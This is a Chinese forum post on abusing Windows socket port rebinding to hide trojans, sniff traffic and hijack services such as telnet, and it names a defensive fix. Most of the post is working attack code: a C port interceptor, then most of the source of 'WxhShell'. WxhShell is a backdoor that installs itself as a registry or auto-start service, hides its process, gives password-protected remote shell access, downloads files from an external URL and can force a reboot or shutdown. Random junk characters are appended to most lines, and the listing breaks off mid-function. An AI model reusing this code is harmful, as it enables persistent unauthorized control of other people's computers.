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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fj JIF%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5~? J  
cS[`1y,\3  
  saddr.sin_family = AF_INET; 0nuFWV  
A,/S/_Q=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P$QfcJq&c*  
']NM_0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O#|E7;  
&pAT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S{H8}m|MW  
w {q YP  
  这意味着什么?意味着可以进行如下的攻击: 5f5`7uVJF  
s_8! x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3IxT2@H)  
1WKDG~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W2k~N X#@  
Glr.)PA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J.d `tiN  
w?C\YKF7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?m.4f&X  
$p@g#3X`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Q"<q`c  
tpD?-`9o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 StVv"YY  
*%e#)sn*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -d~'tti  
5*r6#[S\  
  #include koU.`l.  
  #include td~3N,S  
  #include !]nCeo  
  #include    )qIK7;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HKwGaCj`  
  int main() |"< I\Vs:  
  { y()( 8L  
  WORD wVersionRequested; uI[*uAR  
  DWORD ret; )em.KbsPPF  
  WSADATA wsaData; GwULtRa/  
  BOOL val; -iHhpD9"X  
  SOCKADDR_IN saddr; T_-MSXhA  
  SOCKADDR_IN scaddr; KPhqD5, (  
  int err; ;z>YwRV  
  SOCKET s; on\\;V_/Q  
  SOCKET sc; >R<fm  
  int caddsize; _<7FR:oBZ  
  HANDLE mt; #u$z-M !  
  DWORD tid;   `vSsgG  
  wVersionRequested = MAKEWORD( 2, 2 ); K/-D 5U  
  err = WSAStartup( wVersionRequested, &wsaData ); As`^Ku&  
  if ( err != 0 ) { O#\> j  
  printf("error!WSAStartup failed!\n"); /WfxI>v  
  return -1; vo-{3]u#=  
  } :Eyv==  
  saddr.sin_family = AF_INET; 5,Y2Lzr  
   K;PpS*!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2'U9!. o  
>e;f{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Dhoj|lc  
  saddr.sin_port = htons(23); I1~g?jpH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bRK9Qt#3  
  { O)R0,OPb  
  printf("error!socket failed!\n"); B .mV\W  
  return -1; @El<"\  
  } *@nUas 2"  
  val = TRUE; ?s]`G'=>V`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JPG!cX%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ UJj*n  
  { )QD}R36Ic  
  printf("error!setsockopt failed!\n"); C.-a:oQ[  
  return -1; o{p_s0IX;S  
  } 3XtGi<u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9_3M}|V$^e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &?6w 2[}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \tx/!tA  
{ )qP34rM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~tvoR&{I  
  { ~~,<+X:  
  ret=GetLastError(); >lmL  
  printf("error!bind failed!\n"); K7c8_g*>4=  
  return -1; _O%p{t'q<  
  } DG=Ap:sl*$  
  listen(s,2); ]o$/xP  
  while(1) rUjr'O0  
  { G6 5N:  
  caddsize = sizeof(scaddr); D$E9%'ir  
  //接受连接请求 `t&;Yk]-L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z%tu6_4j  
  if(sc!=INVALID_SOCKET) S+Yg!RrNqj  
  { tqCg<NH.!m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p%1m&/ `F  
  if(mt==NULL) 1 7oxD  
  { ($> 0&w  
  printf("Thread Creat Failed!\n"); V&H8-,7z  
  break; (02(:;1  
  } gUA}%YXe  
  } nh)R  
  CloseHandle(mt); ^;Q pE  
  } H~]o]uAi"  
  closesocket(s); qhtAtP>i"  
  WSACleanup(); 0pa^O$?p  
  return 0; +=Wdn)T  
  }   nn4Sy,cz  
  DWORD WINAPI ClientThread(LPVOID lpParam) I;H9<o5  
  { GTl(i*  
  SOCKET ss = (SOCKET)lpParam; d A{Jk  
  SOCKET sc; |"w<CK lQ  
  unsigned char buf[4096]; gq3OCA!cX  
  SOCKADDR_IN saddr; GuvF   
  long num; |LE++t*X~  
  DWORD val; mtddLd,  
  DWORD ret; e622{dfVS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :OaQq@V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1o78e2B  
  saddr.sin_family = AF_INET; :0/o?'s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mp3_n:R?  
  saddr.sin_port = htons(23); x)ZH;)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RLNuH2y;  
  { 1iL xXd  
  printf("error!socket failed!\n"); }F6b ]  
  return -1; XF$]KA L0  
  } T k&9Klo  
  val = 100; C&N4<2b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s,H(m8#>  
  { C)p<M H<  
  ret = GetLastError(); %5?-g[  
  return -1; B Rj KV  
  } 4^_Au^8R(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d ovwB`5  
  { ^l&4UnLlc  
  ret = GetLastError(); ky$:C,1t  
  return -1; VQMd[/  
  } |o=ST  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6F/ OlK<  
  { jYID44$  
  printf("error!socket connect failed!\n"); yc=#Jn?S  
  closesocket(sc); bI6wE'h  
  closesocket(ss); <D;Q8  
  return -1; Prz +kPP  
  } :k(t/*Nl3  
  while(1) 1'm`SRX#e  
  { {<4?o? 1 g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6@;L$QYY-V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _|wY[YJ[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x~Ly$A2p  
  num = recv(ss,buf,4096,0); 4eL54).1O  
  if(num>0) 1"B9Z6jf  
  send(sc,buf,num,0); @ZR4%A"X4  
  else if(num==0) 8!Mzr1:  
  break; ,xe@G)a  
  num = recv(sc,buf,4096,0); %aE7id>v6  
  if(num>0) x][9ptr h  
  send(ss,buf,num,0); ^1yTL5#:Vw  
  else if(num==0) <&EO=A  
  break; 3nC#$L-   
  } #r^@*<{^  
  closesocket(ss); pjs9b%.  
  closesocket(sc); c0Ro3j\p  
  return 0 ; G|oB'~ {&  
  } &\ lS  
-L3 |9k  
pXj/6+^  
========================================================== Q*&aC|b&  
^'53]b:  
下边附上一个代码,,WXhSHELL SOQ-D4q  
vp75u93  
========================================================== gXLZ)>+A+  
\{=`F`oB=  
#include "stdafx.h" xgqv2s>L  
uQtk|)T E  
#include <stdio.h> <bXWkj  
#include <string.h> ?$@ KwA  
#include <windows.h> m-S33PG{  
#include <winsock2.h> Nk7eiQ  
#include <winsvc.h> B 6'%J  
#include <urlmon.h> )C01f ZhD  
{}J@+Zsi  
#pragma comment (lib, "Ws2_32.lib") ZDkD%SCy  
#pragma comment (lib, "urlmon.lib") :UDn^ (#  
/mB Beg^a  
#define MAX_USER   100 // 最大客户端连接数 b~Pxgfu"  
#define BUF_SOCK   200 // sock buffer & kjwIg{  
#define KEY_BUFF   255 // 输入 buffer ogc('HqF^'  
o=RqegL  
#define REBOOT     0   // 重启 ZOrTbik  
#define SHUTDOWN   1   // 关机 ^'u;e(AaE  
T:g4D z*2\  
#define DEF_PORT   5000 // 监听端口 ss0'GfP  
`k}l$ih`X  
#define REG_LEN     16   // 注册表键长度 (&P0la 1  
#define SVC_LEN     80   // NT服务名长度 >xZhK63C/  
I~]Q55  
// 从dll定义API oF@x]bmU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _D2bGZN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R0hc tT1j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |DFvZ6}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^0s\/qyqm  
<h@z=ijN  
// wxhshell配置信息 Y0 X"Zw  
struct WSCFG { 8G5) o`  
  int ws_port;         // 监听端口 Nr]8P/[~  
  char ws_passstr[REG_LEN]; // 口令 )pZekh]v  
  int ws_autoins;       // 安装标记, 1=yes 0=no te\h?H  
  char ws_regname[REG_LEN]; // 注册表键名 7dlKdKH  
  char ws_svcname[REG_LEN]; // 服务名 N7~)qqb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rZ!Yi*? f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :<N6i/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RhV:Z3f`6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &G pA1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jr[<i\!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,\S pjE  
da00p-U  
}; hSkc9jBF  
W3jXZ>  
// default Wxhshell configuration 0tW<LR-}E  
struct WSCFG wscfg={DEF_PORT, Pn+IJ=0Y  
    "xuhuanlingzhe", &'huS?g A9  
    1, J~iOP  
    "Wxhshell", W8G9rB|T  
    "Wxhshell", MS st  
            "WxhShell Service", b@2Cl l#  
    "Wrsky Windows CmdShell Service", &PRx,G5  
    "Please Input Your Password: ", F%PwIB~cy  
  1, TDAWI_83-  
  "http://www.wrsky.com/wxhshell.exe", uOG-IHuF  
  "Wxhshell.exe" P>{US1t  
    }; 42V,PH6o  
X/E7o92\  
// 消息定义模块 `sk!C7%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q6C6PPc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eC>"my`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8:P*z  
char *msg_ws_ext="\n\rExit."; Z p7yaz3y  
char *msg_ws_end="\n\rQuit."; A[^qq UL'  
char *msg_ws_boot="\n\rReboot..."; jF38kj3O7  
char *msg_ws_poff="\n\rShutdown..."; c?!YFm  
char *msg_ws_down="\n\rSave to "; /lS+J(I  
/B,:<&_-  
char *msg_ws_err="\n\rErr!"; =mHkXHE~:  
char *msg_ws_ok="\n\rOK!"; wovmy{K  
<$ i"zb  
char ExeFile[MAX_PATH];  cS D._"P  
int nUser = 0; ocIt@#20 K  
HANDLE handles[MAX_USER]; #cj\~T.,,  
int OsIsNt; .1.J5>/n  
9^ >M>f"  
SERVICE_STATUS       serviceStatus; :M22P`:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fJ)N:q`  
fg9?3x Z  
// 函数声明 JJ/1daj  
int Install(void); 0T9@,scY  
int Uninstall(void); [F/^J|VMV  
int DownloadFile(char *sURL, SOCKET wsh); ;dqk@@O"(  
int Boot(int flag); JQ) 4}t  
void HideProc(void); JkSdLj  
int GetOsVer(void); yaH Trh%  
int Wxhshell(SOCKET wsl); -ajM5S=d*  
void TalkWithClient(void *cs); G3RrjWtO  
int CmdShell(SOCKET sock); dSOlD/c  
int StartFromService(void); 6X@mPj[/  
int StartWxhshell(LPSTR lpCmdLine); 10C 2=  
;YK!EMM4!h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Aautih@LX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gEZwW]r-  
NXzU0  
// 数据结构和表定义 9 z5"y|$  
SERVICE_TABLE_ENTRY DispatchTable[] = a'@-"qk  
{ V#ndyUM;  
{wscfg.ws_svcname, NTServiceMain}, uP{; *E3?  
{NULL, NULL} X}oj_zsy;^  
}; rQ9*J   
)!'n&UxPo$  
// 自我安装 )\{'fF  
int Install(void) IK*oFo{C=K  
{ Y%<`;wK=^  
  char svExeFile[MAX_PATH]; \*f;!{P{  
  HKEY key; az0cS*@  
  strcpy(svExeFile,ExeFile); Vh"MKJ'R^  
9o-!ecx}  
// 如果是win9x系统,修改注册表设为自启动 kWB, ;7  
if(!OsIsNt) { Ya}T2VX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3g4e' ]t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `1nRcY  
  RegCloseKey(key); 9<xTu>7J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BG'6;64kx6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8AT;8I<K  
  RegCloseKey(key); 2HcsQ*H] G  
  return 0; cyW;,uT)D  
    } 'oleB_B  
  } :e1'o  
} ^9&b+u=X  
else { Da"yZ\4  
nIfN"  
// 如果是NT以上系统,安装为系统服务 'UY[ap  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]EB6+x!G  
if (schSCManager!=0) 12idM*  
{ '@'B>7C#  
  SC_HANDLE schService = CreateService 7t'(`A 6t/  
  ( |q3f]T&+>{  
  schSCManager, p3g4p  
  wscfg.ws_svcname, ]#F q>E  
  wscfg.ws_svcdisp, Mv|vRx^b  
  SERVICE_ALL_ACCESS, p1+7 <Y:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |y.zo cBj  
  SERVICE_AUTO_START, r=h8oUNEJ*  
  SERVICE_ERROR_NORMAL,  cp$.,V  
  svExeFile, :@.C4oq  
  NULL, :~yzDk\I"-  
  NULL, CE)*qFs  
  NULL, :`D'jF^S  
  NULL, L >SZgmV+  
  NULL 5v"Y\k+1  
  ); _-n Y2)  
  if (schService!=0) Z;hyi'rPJ  
  { d-~vR(tU  
  CloseServiceHandle(schService); F&xv z2G  
  CloseServiceHandle(schSCManager); ;t}'X[U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z1F9$ ^  
  strcat(svExeFile,wscfg.ws_svcname); &]w#z=5SXi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DL,[k (  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gWkjUz )  
  RegCloseKey(key); |V lMma z  
  return 0; 8=:A/47=J  
    } 'f 3HKn<L  
  } PC|'yAN:  
  CloseServiceHandle(schSCManager); h-7A9:  
} ;TtaH  
} sH%&+4!3  
s}wO7Df=+  
return 1; :AZp}  
} $57\u/(  
) ]73S@P(=  
// 自我卸载 iAK/d)bq  
int Uninstall(void) F#su5<d  
{ ~P/]:=  
  HKEY key; R;r|cep  
kfXS_\@iW1  
if(!OsIsNt) { aVP5%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(P %z.P@  
  RegDeleteValue(key,wscfg.ws_regname); D3y>iQd   
  RegCloseKey(key); T8U[xu.>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  =^Th[B  
  RegDeleteValue(key,wscfg.ws_regname); q-YL]PgV  
  RegCloseKey(key); x@Y|v@}BE  
  return 0; gV|Y54}T  
  } D i+4Eb  
} 0pD[7~^o  
} q3+I<qsAz  
else { glx2I_y  
]oEQ4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AuAT]`  
if (schSCManager!=0) B%fU'  
{ k52QaMKa~A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &3I$8v|!?  
  if (schService!=0) c}%es=@  
  { Ah (iE  
  if(DeleteService(schService)!=0) { e8{^f]5  
  CloseServiceHandle(schService); G]-%AO{K  
  CloseServiceHandle(schSCManager); 7%4.b7Q  
  return 0; 45) D+  
  } JA<~xo[Q9  
  CloseServiceHandle(schService); gKWzFnW  
  } uN9e:;  
  CloseServiceHandle(schSCManager); *Rq`*D>:U}  
} 3T1P$E" m  
} +C_*Vs@4  
2SciB*5  
return 1; KY g3U  
} ~T02._E  
@V$I?iXV  
// 从指定url下载文件 <7^Kt7k  
int DownloadFile(char *sURL, SOCKET wsh) -D#5o,]3  
{ T%kKVr  
  HRESULT hr; ")ED)&e  
char seps[]= "/"; 9`BEi(z  
char *token; &\k?xN  
char *file; zw]3Vg{T  
char myURL[MAX_PATH]; .fEw k  
char myFILE[MAX_PATH]; Ukc'?p,*  
jn$j^ 51`C  
strcpy(myURL,sURL); wWTQ6~Y%d  
  token=strtok(myURL,seps); '0RRFO  
  while(token!=NULL) Ff<)4`J  
  { &dRjqn^&X  
    file=token; ra:GzkIw  
  token=strtok(NULL,seps); :CTL)ad2  
  } E?Cj/o  
J)*8|E9P  
GetCurrentDirectory(MAX_PATH,myFILE); s`c?:  
strcat(myFILE, "\\"); j=W@P-  
strcat(myFILE, file); hM>*a!)U  
  send(wsh,myFILE,strlen(myFILE),0); =/Wu'gG)  
send(wsh,"...",3,0); @+&'%1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "15=ET  
  if(hr==S_OK) ]G*$W+G]  
return 0; /lJjQ]c;>  
else 59i]  
return 1; e!Br>^8l  
JT)k  
} :!O><eQw  
pds*2p)2  
// 系统电源模块 :tLbFW[  
int Boot(int flag) [D[D`gpjA  
{ t8vc@of$c,  
  HANDLE hToken; ;&kn"b}G;  
  TOKEN_PRIVILEGES tkp; iNJAZ6@+  
;Iq5|rzDn  
  if(OsIsNt) { K_#UZA< Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uN bIX:L,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {y6C0A*  
    tkp.PrivilegeCount = 1; h$Tr sO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [4>r6Hqxr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &XQZs`41+  
if(flag==REBOOT) { zQc"bcif5(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k 4B_W  
  return 0; X$V|+lTk  
} B {aU;{1  
else { W-XpJ\_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ffk4mhH  
  return 0; wyw<jH  
} tS<h8g_  
  } -:S IS`0s  
  else { El (/em  
if(flag==REBOOT) { 8l23%iWxe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JZ=5Bpw  
  return 0; {ma;G[!  
} 4SR(->@  
else { g 1@wf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bSrZ{l  
  return 0; k[9A,N^lZB  
} x=Mm6}/  
} Wc|z7P~',%  
^|?1_r  
return 1; ?3jdg]&  
} |<(t}}X  
XLb0 9;  
// win9x进程隐藏模块 tjxvN 4l  
void HideProc(void) C:GvP>  
{ f xtxu?A>  
o56kp3b)b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ae49n4J  
  if ( hKernel != NULL ) j=ihbR^]Tl  
  { Q2c*.Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N9]xJgTze  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4ht\&2&:  
    FreeLibrary(hKernel); uyT/Xzo3  
  } Rp/-Pv   
x?L hq2  
return; V]c5 Z$Bd  
} }V]eg,.BJ  
z-@ -O  
// 获取操作系统版本 J+Bdz6lt  
int GetOsVer(void) IN^_BKQt  
{ V@Wcb$mgk  
  OSVERSIONINFO winfo; uV~e|X "9s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :woa&(wN;1  
  GetVersionEx(&winfo); r )b<{u=]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {?i)K X^  
  return 1; D{C:d\ e)$  
  else Y6ben7j%-  
  return 0; wiE]z  
} yd>}wHt  
?/d!R]3  
// 客户端句柄模块 wL2XNdo}<  
int Wxhshell(SOCKET wsl) &Rp"rMeW  
{ -t4 [oB  
  SOCKET wsh; 1TRN~#ix  
  struct sockaddr_in client; [ /ohk&  
  DWORD myID; *48IF33&s  
SRCOs1(EK9  
  while(nUser<MAX_USER) %&<W(|U1<  
{ a)9rs\Is{  
  int nSize=sizeof(client); 16$y`~c-z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &p"(-  
  if(wsh==INVALID_SOCKET) return 1; 3hS6j S  
l h/&__  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M<[ ?g5=#  
if(handles[nUser]==0) I/B1qw;MN  
  closesocket(wsh); xK;e\^v  
else "^%Z'ou  
  nUser++; (p |DcA]BX  
  } h\y-L~2E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ut5yf$%  
BXhWTGiG  
  return 0; s;{K!L@  
} ez*jjm  
iP "EA8  
// 关闭 socket =nVmthGw  
void CloseIt(SOCKET wsh) 6vp0*ww  
{ FFe) e>bH  
closesocket(wsh); SLoo:)  
nUser--; rAXX}"l6s  
ExitThread(0); |Td5l?  
} FC}oL"kk  
>n!ni(  
// 客户端请求句柄 ~HDdO3  
void TalkWithClient(void *cs) Np)aS[9W  
{ dWR1cvB(wY  
HomN/wKh  
  SOCKET wsh=(SOCKET)cs; i&Kz*,pt  
  char pwd[SVC_LEN]; $(q8y/,R*-  
  char cmd[KEY_BUFF]; G;]:$J  
char chr[1]; S()Za@ [a$  
int i,j; s[c^"@HT  
{4rQ7J4Ux  
  while (nUser < MAX_USER) { 7ZFJexN]  
o4)hxs  
if(wscfg.ws_passstr) { TnE+[.Qu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /F~X,lm*~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z{?4*Bq  
  //ZeroMemory(pwd,KEY_BUFF); yP\Up  
      i=0; ("Dv>&w9  
  while(i<SVC_LEN) { ZBc|438[  
8D~x\!(p\  
  // 设置超时 rt b*n~  
  fd_set FdRead; k dU! kj  
  struct timeval TimeOut; @]'S eiNp  
  FD_ZERO(&FdRead); g%\L&}Jd  
  FD_SET(wsh,&FdRead); qm(1:iK,0  
  TimeOut.tv_sec=8; (@&I_>2Q  
  TimeOut.tv_usec=0; $']VQ4tZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 40K2uT{cq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <NB41/  
xmH-!Da  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #":a6%0Q  
  pwd=chr[0]; JJf<*j^G  
  if(chr[0]==0xd || chr[0]==0xa) { L11L23:  
  pwd=0; N z~" vi(t  
  break; AcC8)xRpk4  
  } O&$0&dhc  
  i++; Iql5T#K+  
    } 0kLEBoOh  
vA-PR&  
  // 如果是非法用户,关闭 socket 3] 76fF\^[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {XnPx? V  
} 8wIK:   
PXEKV0y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B\_[R'Pf&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c8ZCs?   
8H $#+^lW  
while(1) { JTUNb'#RZ  
lrys3  
  ZeroMemory(cmd,KEY_BUFF); {Y_Nj`#BT  
(9GbG"   
      // 自动支持客户端 telnet标准   ./w{L"E  
  j=0; ;KcFy@ 6q5  
  while(j<KEY_BUFF) { ty- r&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s4t0f_vj`  
  cmd[j]=chr[0]; E`AYee%l  
  if(chr[0]==0xa || chr[0]==0xd) { 3N< & u   
  cmd[j]=0; Qpu3(`d<  
  break; +qkMQETV6  
  } mJMq{6;  
  j++; 0I zZKRw  
    } #IX&9 aFB}  
MUcN C\`z  
  // 下载文件 7rIlTrG  
  if(strstr(cmd,"http://")) { nW5K[/1D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]Oso#GYD  
  if(DownloadFile(cmd,wsh)) > saI+u'o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4 vm{ho  
  else ~:2K#q5C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8:{ q8xZ=k  
  } tWk{1IL  
  else { 7/>a:02  
A&N*F"q  
    switch(cmd[0]) { n,nisS  
  }O*WV1  
  // 帮助 V/bH^@,sA  
  case '?': { IJPgFZ7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); detLjlE  
    break; 4}-#mBV]/  
  } wj%wp[KA$  
  // 安装 j=j+Nf$  
  case 'i': { 9#@Zz4Ww  
    if(Install()) IVteF*8hU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~oSP^e'  
    else ct0v$ct>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f z%tA39m  
    break; KXe ka  
    } E5{n?e  
  // 卸载 t _\MAK  
  case 'r': { {A3 m+_8  
    if(Uninstall()) I,j3bC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hTw}X.<4  
    else %dmfBf Ev  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0<&M?^  
    break; w3bIb$12  
    } u^=@DO'  
  // 显示 wxhshell 所在路径 jG8;]XP  
  case 'p': { l0`'5>  
    char svExeFile[MAX_PATH]; dS$ji#+d$  
    strcpy(svExeFile,"\n\r"); hTTfJDF  
      strcat(svExeFile,ExeFile); Hsl{rN  
        send(wsh,svExeFile,strlen(svExeFile),0); HV\"T(8 9  
    break; jo0Pd_W8&  
    } CG9ba |  
  // 重启 kCp)!hVQ  
  case 'b': { F5IZ"Itu(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W)-hU~^OM  
    if(Boot(REBOOT)) kfCKhx   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EUZq$@uWL  
    else { xG%*PNM0q  
    closesocket(wsh); F+*Q <a4  
    ExitThread(0); %6]\^  
    } 4oJ$dN  
    break; U**)H_S/~  
    } #!d]PH746  
  // 关机 b-nYxd  
  case 'd': { mV zu~xym  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @?/\c:cp  
